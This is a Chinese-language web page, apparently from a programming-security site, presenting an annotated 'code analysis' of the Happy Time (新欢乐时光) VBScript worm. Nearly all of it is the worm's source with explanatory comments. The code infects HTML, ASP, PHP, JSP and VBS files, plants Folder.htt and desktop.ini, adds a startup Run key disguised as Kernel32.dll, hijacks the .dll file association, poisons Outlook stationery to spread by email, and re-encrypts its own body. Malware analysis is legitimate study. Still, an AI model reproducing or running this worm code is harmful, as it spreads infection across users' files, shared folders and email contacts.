新欢乐时光代码分析

2023-12-07 0 770

<% DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk SubKJ_start() \’初始化变量 KJSetDim() \’初始化环境 KJCreateMilieu() \’感染本地或者共享上与html所在目录 KJLikeIt() \’通过vbs感染Outlook邮件模板 KJCreateMail() \’进行病毒传播 KJPropagate() EndSub \’函数:KJAppendTo(FilePath,TypeStr) \’功能:向指定类型的指定文件追加病毒 \’参数: \’FilePath指定文件路径 \’TypeStr指定类型 FunctionKJAppendTo(FilePath,TypeStr) OnErrorResumeNext \’以只读方式打开指定文件 SetReadTemp=FSO.OpenTextFile(FilePath,1) \’将文件内容读入到TmpStr变量中 TmpStr=ReadTemp.ReadAll \’判断文件中是否存在\”KJ_start()\”字符串,若存在说明已经感染,退出函数; \’若文件长度小于1,也退出函数。 IfInStr(TmpStr,\”KJ_start()\”)<>0OrLen(TmpStr)<1Then ReadTemp.Close ExitFunction EndIf \’如果传过来的类型是\”htt\” \’在文件头加上调用页面的时候加载KJ_start()函数; \’在文件尾追加html版本的加密病毒体。 \’如果是\”html\” \’在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体; \’如果是\”vbs\” \’在文件尾追加vbs版本的病毒体 IfTypeStr=\”htt\”Then ReadTemp.Close SetFileTemp=FSO.OpenTextFile(FilePath,2) FileTemp.Write\”<\”&\”BODYonload=\”\”\” &\”vbscript:\”&\”KJ_start()\”\”\”&\”>\”&vbCrLf&TmpStr&vbCrLf&HtmlText FileTemp.Close SetFAttrib=FSO.GetFile(FilePath) FAttrib.Attributes=34 Else ReadTemp.Close SetFileTemp=FSO.OpenTextFile(FilePath,8) IfTypeStr=\”html\”Then FileTemp.WritevbCrLf&\”<\”&\”HTML>\”&vbCrLf&\”<\” &\”BODYonload=\”\”\”&\”vbscript:\”&\”KJ_start()\”\”\”&\”>\”&vbCrLf&HtmlText ElseIfTypeStr=\”vbs\”Then FileTemp.WritevbCrLf&VbsText EndIf FileTemp.Close EndIf EndFunction \’函数:KJChangeSub(CurrentString,LastIndexChar) \’功能:改变子目录以及盘符 \’参数: \’CurrentString当前目录 \’LastIndexChar上一级目录在当前路径中的位置 FunctionKJChangeSub(CurrentString,LastIndexChar) \’判断是否是根目录 IfLastIndexChar=0Then \’如果是根目录 \’如果是C:\\,返回FinalyDisk盘,并将SubE置为0, \’如果不是C:\\,返回将当前盘符递减1,并将SubE置为0 IfLeft(LCase(CurrentString),1)=<LCase(\”c\”)Then KJChangeSub=FinalyDisk&\”:\\\” SubE=0 Else KJChangeSub=Chr(Asc(Left(LCase(CurrentString),1))-1)&\”:\\\” SubE=0 EndIf Else \’如果不是根目录,则返回上一级目录名称 KJChangeSub=Mid(CurrentString,1,LastIndexChar) EndIf EndFunction \’函数:KJCreateMail() \’功能:感染邮件部分 FunctionKJCreateMail() OnErrorResumeNext \’如果当前执行文件是\”html\”的,就退出函数 IfInWhere=\”html\”Then ExitFunction EndIf \’取系统盘的空白页的路径 ShareFile=Left(WinPath,3)&\”ProgramFiles\\CommonFiles\\MicrosoftShared\\Stationery\\blank.htm\” \’如果存在这个文件,就向其追加html的病毒体 \’否则生成含有病毒体的这个文件 If(FSO.FileExists(ShareFile))Then CallKJAppendTo(ShareFile,\”html\”) Else SetFileTemp=FSO.OpenTextFile(ShareFile,2,true) FileTemp.Write\”<\”&\”HTML>\”&vbCrLf&\”<\”&\”BODYonload=\”\”\”&\”vbscript:\”&\”KJ_start()\”\”\”&\”>\”&vbCrLf&HtmlText FileTemp.Close EndIf \’取得当前用户的ID和OutLook的版本 DefaultId=WsShell.RegRead(\”HKEY_CURRENT_USER\\Identities\\DefaultUserID\”) OutLookVersion=WsShell.RegRead(\”HKEY_LOCAL_MACHINE\\Software\\Microsoft\\OutlookExpress\\MediaVer\”) \’激活信纸功能,并感染所有信纸 WsShell.RegWrite\”HKEY_CURRENT_USER\\Identities\\\”&DefaultId&\”\\Software\\Microsoft\\OutlookExpress\\\”&Left(OutLookVersion,1)&\”.0\\Mail\\ComposeUseStationery\”,1,\”REG_DWORD\” CallKJMailReg(\”HKEY_CURRENT_USER\\Identities\\\”&DefaultId&\”\\Software\\Microsoft\\OutlookExpress\\\”&Left(OutLookVersion,1)&\”.0\\Mail\\StationeryName\”,ShareFile) CallKJMailReg(\”HKEY_CURRENT_USER\\Identities\\\”&DefaultId&\”\\Software\\Microsoft\\OutlookExpress\\\”&Left(OutLookVersion,1)&\”.0\\Mail\\WideStationeryName\”,ShareFile) WsShell.RegWrite\”HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\9.0\\Outlook\\Options\\Mail\\EditorPreference\”,131072,\”REG_DWORD\” CallKJMailReg(\”HKEY_CURRENT_USER\\Software\\Microsoft\\WindowsMessagingSubsystem\\Profiles\\MicrosoftOutlookInternetSettings\\0a0d020000000000c000000000000046\\001e0360\”,\”blank\”) CallKJMailReg(\”HKEY_CURRENT_USER\\Software\\Microsoft\\WindowsNT\\CurrentVersion\\WindowsMessagingSubsystem\\Profiles\\MicrosoftOutlookInternetSettings\\0a0d020000000000c000000000000046\\001e0360\”,\”blank\”) WsShell.RegWrite\”HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\10.0\\Outlook\\Options\\Mail\\EditorPreference\”,131072,\”REG_DWORD\” CallKJMailReg(\”HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\10.0\\Common\\MailSettings\\NewStationery\”,\”blank\”) KJummageFolder(Left(WinPath,3)&\”ProgramFiles\\CommonFiles\\MicrosoftShared\\Stationery\”) EndFunction \’函数:KJCreateMilieu() \’功能:创建系统环境 FunctionKJCreateMilieu() OnErrorResumeNext TempPath=\”\” \’判断操作系统是NT/2000还是9X IfNot(FSO.FileExists(WinPath&\”WScript.exe\”))Then TempPath=\”system32\\\” EndIf \’为了文件名起到迷惑性,并且不会与系统文件冲突。 \’如果是NT/2000则启动文件为system\\Kernel32.dll \’如果是9x启动文件则为system\\Kernel.dll IfTempPath=\”system32\\\”Then StartUpFile=WinPath&\”SYSTEM\\Kernel32.dll\” Else StartUpFile=WinPath&\”SYSTEM\\Kernel.dll\” EndIf \’添加Run值,添加刚才生成的启动文件路径 WsShell.RegWrite\”HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Kernel32\”,StartUpFile \’拷贝前期备份的文件到原来的目录 FSO.CopyFileWinPath&\”web\\kjwall.gif\”,WinPath&\”web\\Folder.htt\” FSO.CopyFileWinPath&\”system32\\kjwall.gif\”,WinPath&\”system32\\desktop.ini\” \’向%windir%\\web\\Folder.htt追加病毒体 CallKJAppendTo(WinPath&\”web\\Folder.htt\”,\”htt\”) \’改变dll的MIME头 \’改变dll的默认图标 \’改变dll的打开方式 WsShell.RegWrite\”HKEY_CLASSES_ROOT\\.dll\\\”,\”dllfile\” WsShell.RegWrite\”HKEY_CLASSES_ROOT\\.dll\\ContentType\”,\”application/x-msdownload\” WsShell.RegWrite\”HKEY_CLASSES_ROOT\\dllfile\\DefaultIcon\\\”,WsShell.RegRead(\”HKEY_CLASSES_ROOT\\vxdfile\\DefaultIcon\\\”) WsShell.RegWrite\”HKEY_CLASSES_ROOT\\dllfile\\ScriptEngine\\\”,\”VBScript\” WsShell.RegWrite\”HKEY_CLASSES_ROOT\\dllFile\\Shell\\Open\\Command\\\”,WinPath&TempPath&\”WScript.exe\”\”%1\”\”%*\” WsShell.RegWrite\”HKEY_CLASSES_ROOT\\dllFile\\ShellEx\\PropertySheetHandlers\\WSHProps\\\”,\”{60254CA5-953B-11CF-8C96-00AA00B8708C}\” WsShell.RegWrite\”HKEY_CLASSES_ROOT\\dllFile\\ScriptHostEncode\\\”,\”{85131631-480C-11D2-B1F9-00C04F86C324}\” \’启动时加载的病毒文件中写入病毒体 SetFileTemp=FSO.OpenTextFile(StartUpFile,2,true) FileTemp.WriteVbsText FileTemp.Close EndFunction \’函数:KJLikeIt() \’功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录 FunctionKJLikeIt() \’如果当前执行文件不是\”html\”的就退出程序 IfInWhere<>\”html\”Then ExitFunction EndIf \’取得文档当前路径 ThisLocation=document.location \’如果是本地或网上共享文件 IfLeft(ThisLocation,4)=\”file\”Then ThisLocation=Mid(ThisLocation,9) \’如果这个文件扩展名不为空,在ThisLocation中保存它的路径 IfFSO.GetExtensionName(ThisLocation)<>\”\”Then ThisLocation=Left(ThisLocation,Len(ThisLocation)-Len(FSO.GetFileName(ThisLocation))) EndIf \’如果ThisLocation的长度大于3就尾追一个\”\\\” IfLen(ThisLocation)>3Then ThisLocation=ThisLocation&\”\\\” EndIf \’感染这个目录 KJummageFolder(ThisLocation) EndIf EndFunction \’函数:KJMailReg(RegStr,FileName) \’功能:如果注册表指定键值不存在,则向指定位置写入指定文件名 \’参数: \’RegStr注册表指定键值 \’FileName指定文件名 FunctionKJMailReg(RegStr,FileName) OnErrorResumeNext \’如果注册表指定键值不存在,则向指定位置写入指定文件名 RegTempStr=WsShell.RegRead(RegStr) IfRegTempStr=\”\”Then WsShell.RegWriteRegStr,FileName EndIf EndFunction \’函数:KJOboSub(CurrentString) \’功能:遍历并返回目录路径 \’参数: \’CurrentString当前目录 FunctionKJOboSub(CurrentString) SubE=0 TestOut=0 DoWhileTrue TestOut=TestOut+1 IfTestOut>28Then CurrentString=FinalyDisk&\”:\\\” ExitDo EndIf OnErrorResumeNext \’取得当前目录的所有子目录,并且放到字典中 SetThisFolder=FSO.GetFolder(CurrentString) SetDicSub=CreateObject(\”Scripting.Dictionary\”) SetFolders=ThisFolder.SubFolders FolderCount=0 ForEachTempFolderinFolders FolderCount=FolderCount+1 DicSub.AddFolderCount,TempFolder.Name Next \’如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1 IfDicSub.Count=0Then LastIndexChar=InstrRev(CurrentString,\”\\\”,Len(CurrentString)-1) SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) CurrentString=KJChangeSub(CurrentString,LastIndexChar) SubE=1 Else \’如果存在子目录 \’如果SubE为0,则将CurrentString变为它的第1个子目录 IfSubE=0Then CurrentString=CurrentString&DicSub.Item(1)&\”\\\” ExitDo Else \’如果SubE为1,继续遍历子目录,并将下一个子目录返回 j=0 Forj=1ToFolderCount IfLCase(SubString)=LCase(DicSub.Item(j))Then Ifj<FolderCountThen CurrentString=CurrentString&DicSub.Item(j+1)&\”\\\” ExitDo EndIf EndIf Next LastIndexChar=InstrRev(CurrentString,\”\\\”,Len(CurrentString)-1) SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) CurrentString=KJChangeSub(CurrentString,LastIndexChar) EndIf EndIf Loop KJOboSub=CurrentString EndFunction \’函数:KJPropagate() \’功能:病毒传播 FunctionKJPropagate() OnErrorResumeNext RegPathvalue=\”HKEY_LOCAL_MACHINE\\Software\\Microsoft\\OutlookExpress\\Degree\” DiskDegree=WsShell.RegRead(RegPathvalue) \’如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘 IfDiskDegree=\”\”Then DiskDegree=FinalyDisk&\”:\\\” EndIf \’继DiskDegree置后感染5个目录 Fori=1To5 DiskDegree=KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next \’将感染记录保存在\”HKEY_LOCAL_MACHINE\\Software\\Microsoft\\OutlookExpress\\Degree\”键值中 WsShell.RegWriteRegPathvalue,DiskDegree EndFunction \’函数:KJummageFolder(PathName) \’功能:感染指定目录 \’参数: \’PathName指定目录 FunctionKJummageFolder(PathName) OnErrorResumeNext \’取得目录中的所有文件集 SetFolderName=FSO.GetFolder(PathName) SetThisFiles=FolderName.Files HttExists=0 ForEachThisFileInThisFiles FileExt=UCase(FSO.GetExtensionName(ThisFile.Path)) \’判断扩展名 \’若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 \’若是VBS则向文件中追加VBS版的病毒体 \’若是HTT,则标志为已经存在HTT了 IfFileExt=\”HTM\”OrFileExt=\”HTML\”OrFileExt=\”ASP\”OrFileExt=\”PHP\”OrFileExt=\”JSP\”Then CallKJAppendTo(ThisFile.Path,\”html\”) ElseIfFileExt=\”VBS\”Then CallKJAppendTo(ThisFile.Path,\”vbs\”) ElseIfFileExt=\”HTT\”Then HttExists=1 EndIf Next \’如果所给的路径是桌面,则标志为已经存在HTT了 If(UCase(PathName)=UCase(WinPath&\”Desktop\\\”))Or(UCase(PathName)=UCase(WinPath&\”Desktop\”))Then HttExists=1 EndIf \’如果不存在HTT \’向目录中追加病毒体 IfHttExists=0Then FSO.CopyFileWinPath&\”system32\\desktop.ini\”,PathName FSO.CopyFileWinPath&\”web\\Folder.htt\”,PathName EndIf EndFunction \’函数KJSetDim() \’定义FSO,WsShell对象 \’取得最后一个可用磁盘卷标 \’生成传染用的加密字串 \’备份系统中的web\\folder.htt和system32\\desktop.ini FunctionKJSetDim() OnErrorResumeNext Err.Clear \’测试当前执行文件是html还是vbs TestIt=WScript.ScriptFullname IfErrThen InWhere=\”html\” Else InWhere=\”vbs\” EndIf \’创建文件访问对象和Shell对象 IfInWhere=\”vbs\”Then SetFSO=CreateObject(\”Scripting.FileSystemObject\”) SetWsShell=CreateObject(\”WScript.Shell\”) Else SetAppleObject=document.applets(\”KJ_guest\”) AppleObject.setCLSID(\”{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}\”) AppleObject.createInstance() SetWsShell=AppleObject.GetObject() AppleObject.setCLSID(\”{0D43FE01-F093-11CF-8940-00A0C9054228}\”) AppleObject.createInstance() SetFSO=AppleObject.GetObject() EndIf SetDiskObject=FSO.Drives \’判断磁盘类型 \’ \’0:Unknown \’1:Removable \’2:Fixed \’3:Network \’4:CD-ROM \’5:RAMDisk \’如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAMDisk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样? ForEachDiskTempInDiskObject IfDiskTemp.DriveType<>2AndDiskTemp.DriveType<>1Then ExitFor EndIf FinalyDisk=DiskTemp.DriveLetter Next \’此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。 \’加密算法 DimOtherArr(3) Randomize \’随机生成4个算子 Fori=0To3 OtherArr(i)=Int((9*Rnd)) Next TempString=\”\” Fori=1ToLen(ThisText) TempNum=Asc(Mid(ThisText,i,1)) \’对回车、换行(0x0D,0x0A)做特别的处理 IfTempNum=13Then TempNum=28 ElseIfTempNum=10Then TempNum=29 EndIf \’很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。 TempChar=Chr(TempNum-OtherArr(iMod4)) IfTempChar=Chr(34)Then TempChar=Chr(18) EndIf TempString=TempString&TempChar Next \’含有解密算法的字串 UnLockStr=\”Execute(\”\”DimKeyArr(3),ThisText\”\”&vbCrLf&\”\”KeyArr(0)=\”&OtherArr(0)&\”\”\”&vbCrLf&\”\”KeyArr(1)=\”&OtherArr(1)&\”\”\”&vbCrLf&\”\”KeyArr(2)=\”&OtherArr(2)&\”\”\”&vbCrLf&\”\”KeyArr(3)=\”&OtherArr(3)&\”\”\”&vbCrLf&\”\”Fori=1ToLen(ExeString)\”\”&vbCrLf&\”\”TempNum=Asc(Mid(ExeString,i,1))\”\”&vbCrLf&\”\”IfTempNum=18Then\”\”&vbCrLf&\”\”TempNum=34\”\”&vbCrLf&\”\”EndIf\”\”&vbCrLf&\”\”TempChar=Chr(TempNum+KeyArr(iMod4))\”\”&vbCrLf&\”\”IfTempChar=Chr(28)Then\”\”&vbCrLf&\”\”TempChar=vbCr\”\”&vbCrLf&\”\”ElseIfTempChar=Chr(29)Then\”\”&vbCrLf&\”\”TempChar=vbLf\”\”&vbCrLf&\”\”EndIf\”\”&vbCrLf&\”\”ThisText=ThisText&TempChar\”\”&vbCrLf&\”\”Next\”\”)\”&vbCrLf&\”Execute(ThisText)\” \’将加密好的病毒体复制给变量ThisText ThisText=\”ExeString=\”\”\”&TempString&\”\”\”\” \’生成html感染用的脚本 HtmlText=\”<\”&\”scriptlanguage=vbscript>\”&vbCrLf&\”document.write\”&\”\”\”\”&\”<\”&\”divstyle=\’position:absolute;left:0px;top:0px;width:0px;height:0px;z-index:28;visibility:hidden\’>\”&\”<\”\”&\”\”\”&\”APPLETNAME=KJ\”\”&\”\”_guestHEIGHT=0WIDTH=0code=com.ms.\”\”&\”\”activeX.Active\”\”&\”\”XComponent>\”&\”<\”&\”/APPLET>\”&\”<\”&\”/div>\”\”\”&vbCrLf&\”<\”&\”/script>\”&vbCrLf&\”<\”&\”scriptlanguage=vbscript>\”&vbCrLf&ThisText&vbCrLf&UnLockStr&vbCrLf&\”<\”&\”/script>\”&vbCrLf&\”<\”&\”/BODY>\”&vbCrLf&\”<\”&\”/HTML>\” \’生成vbs感染用的脚本 VbsText=ThisText&vbCrLf&UnLockStr&vbCrLf&\”KJ_start()\” \’取得Windows目录 \’GetSpecialFolder(n) \’0:WindowsFolder \’1:SystemFolder \’2:TemporaryFolder \’如果系统目录存在web\\Folder.htt和system32\\desktop.ini,则用kjwall.gif文件名备份它们。 WinPath=FSO.GetSpecialFolder(0)&\”\\\” If(FSO.FileExists(WinPath&\”web\\Folder.htt\”))Then FSO.CopyFileWinPath&\”web\\Folder.htt\”,WinPath&\”web\\kjwall.gif\” EndIf If(FSO.FileExists(WinPath&\”system32\\desktop.ini\”))Then FSO.CopyFileWinPath&\”system32\\desktop.ini\”,WinPath&\”system32\\kjwall.gif\” EndIf EndFunction %>

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 编程安全 新欢乐时光代码分析 https://www.u-9.cn/biancheng/bcanquan/125369.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务